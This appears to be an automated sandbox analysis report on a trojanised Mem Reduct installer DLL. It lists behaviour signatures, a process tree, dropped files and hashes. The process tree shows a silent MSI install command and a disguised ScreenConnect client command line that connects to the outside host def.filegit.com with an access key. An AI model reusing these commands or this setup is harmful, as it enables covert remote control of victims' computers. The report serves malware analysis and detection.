Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/07/2026, 12:44

General

  • Target
    memreduct/dsetup.dll
  • Size 13.8MB
  • Sample260706-pygrlabs7l
  • SHA256 351feb2f629cc9b6c4da4f47a12aaa2dd5016b8fb609d6a574c706d45c166052
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 24 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 26 IoCs
  • Drops file in Windows directory 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\memreduct\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3824
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\memreduct\dsetup.dll,#1
      2⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4692
      • C:\Users\Admin\AppData\Local\Temp\0ecdc275.exe
        "C:\Users\Admin\AppData\Local\Temp\0ecdc275.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        PID:4364
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress & del /f /q C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI /qn REBOOT=ReallySuppress
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4424
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4692 -s 672
        3⤵
        • Program crash
        PID:4476
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4692 -ip 4692
    1⤵
      PID:3368
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 944BF83BBF3B041F0C9B26D988248BA0
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4064
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI4225.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240665234 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4368
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7989B6DE3D3BE29ED1E8991F818ADFBA E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1268
    • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=def.filegit.com&p=8041&s=d758b6ab-09d8-45ff-98d4-90435ba0ca61&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=memreduct&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "207256dd-df75-4262-a89d-4794c2361f37" "User"
        2⤵
        • Executes dropped EXE
        PID:2684
      • C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe" "RunRole" "c7c976d3-4e4e-49d4-b4eb-43aac2f9b9f6" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1428

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5840a1.rbs

          • Path C:\Config.Msi\e5840a1.rbs
          • Size 213KB
          • SHA256 1c48e8cedd63d1086929f10c8528ffe42e7f768d75cb4339230b08924fc8b096
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.en-US.resources
          • Size 290B
          • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.Override.resources
          • Size 3KB
          • SHA256 58769c71d6b2af83125bc16d293c0deee45d82a3f2ffe8ba47b6b8d1f63bb8ba
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\MSCppRuntime9\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\MSCppRuntime9\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\MSCppRuntime9\app.config
          • Size 2KB
          • SHA256 8fea0b2e7ba414ba5e3f1650676f1d1fbaf46595b58e218a521a83887afc7106
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\MSCppRuntime9\system.config
          • Size 953B
          • SHA256 da6f036a9d7705c08ecbe6b5cba9535c2e79322e2b03cefe2e78033102f607df
          • MD5 SHA1 SHA512 TLSH

          memreduct.exe

          • Path C:\Program Files\Mem Reduct\memreduct.exe
          • Size 387KB
          • SHA256 dd55a81d56e8c32918e5190b2ec2a1f2a7edbbca884627439b4b619fdfb5602d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          uninstall.exe

          • Path C:\Program Files\Mem Reduct\uninstall.exe
          • Size 52KB
          • SHA256 8e42bae39f4f25d697a080b3fd9b576cd524e38a27c7e8ed2e53b7b42f5367eb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          0ecdc275.exe

          • Path C:\Users\Admin\AppData\Local\Temp\0ecdc275.exe
          • Size 372KB
          • SHA256 025e5c06f7beccf5c85cbe931bc058f53a4642ca83a00855a475026a5e6334c4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          DXUPDA~1.MSI

          • Path C:\Users\Admin\AppData\Local\Temp\DXUPDA~1.MSI
          • Size 12.8MB
          • SHA256 58a48c538f1757b03eada9527b5d186149dcd35f348e4e5b7b0dbab2acce26d5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          System.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nsi3EBC.tmp\System.dll
          • Size 12KB
          • SHA256 8b4c47c4cf5e76ec57dd5a050d5acd832a0d532ee875d7b44f6cdaf68f90d37c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          modern-wizard.bmp

          • Path C:\Users\Admin\AppData\Local\Temp\nsi3EBC.tmp\modern-wizard.bmp
          • Size 150KB
          • SHA256 411961864a8edb7cc2ba384e702bbb787040ea47488d2cefc2ef2c6f0a55a832
          • MD5 SHA1 SHA512 SSDEEP TLSH

          nsDialogs.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nsi3EBC.tmp\nsDialogs.dll
          • Size 9KB
          • SHA256 b1350f487692057c8ffde75dcc55287a52a3272240d4d4912f24464b27551fc0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4225.tmp

          • Path C:\Windows\Installer\MSI4225.tmp
          • Size 1.0MB
          • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI4225.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI4225.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI4225.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI4225.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI46E9.tmp

          • Path C:\Windows\Installer\MSI46E9.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2684-142-0x0000000000AA0000-0x0000000000B38000-memory.dmp

          memory/2684-150-0x00000000012E0000-0x00000000012F8000-memory.dmp

          memory/2684-151-0x0000000001370000-0x0000000001388000-memory.dmp

          memory/2684-149-0x000000001BF40000-0x000000001C0C6000-memory.dmp

          memory/2684-143-0x0000000001330000-0x0000000001366000-memory.dmp

          memory/2684-147-0x000000001BD90000-0x000000001BF3C000-memory.dmp

          memory/2684-144-0x0000000002D30000-0x0000000002DBE000-memory.dmp

          memory/4368-63-0x0000000005AB0000-0x0000000006054000-memory.dmp

          memory/4368-62-0x0000000005350000-0x00000000054FC000-memory.dmp

          memory/4368-58-0x0000000005110000-0x000000000519E000-memory.dmp

          memory/4368-54-0x0000000002C80000-0x0000000002C8A000-memory.dmp

          memory/4368-50-0x0000000002C90000-0x0000000002CBE000-memory.dmp

          memory/5104-121-0x0000000004130000-0x00000000041C2000-memory.dmp

          memory/5104-123-0x0000000003DA0000-0x0000000003DE1000-memory.dmp

          memory/5104-103-0x00000000015B0000-0x00000000015C8000-memory.dmp

          memory/5104-125-0x0000000004310000-0x00000000043E5000-memory.dmp

          memory/5104-114-0x0000000003DF0000-0x0000000003E40000-memory.dmp

          memory/5104-118-0x0000000003E40000-0x0000000003E76000-memory.dmp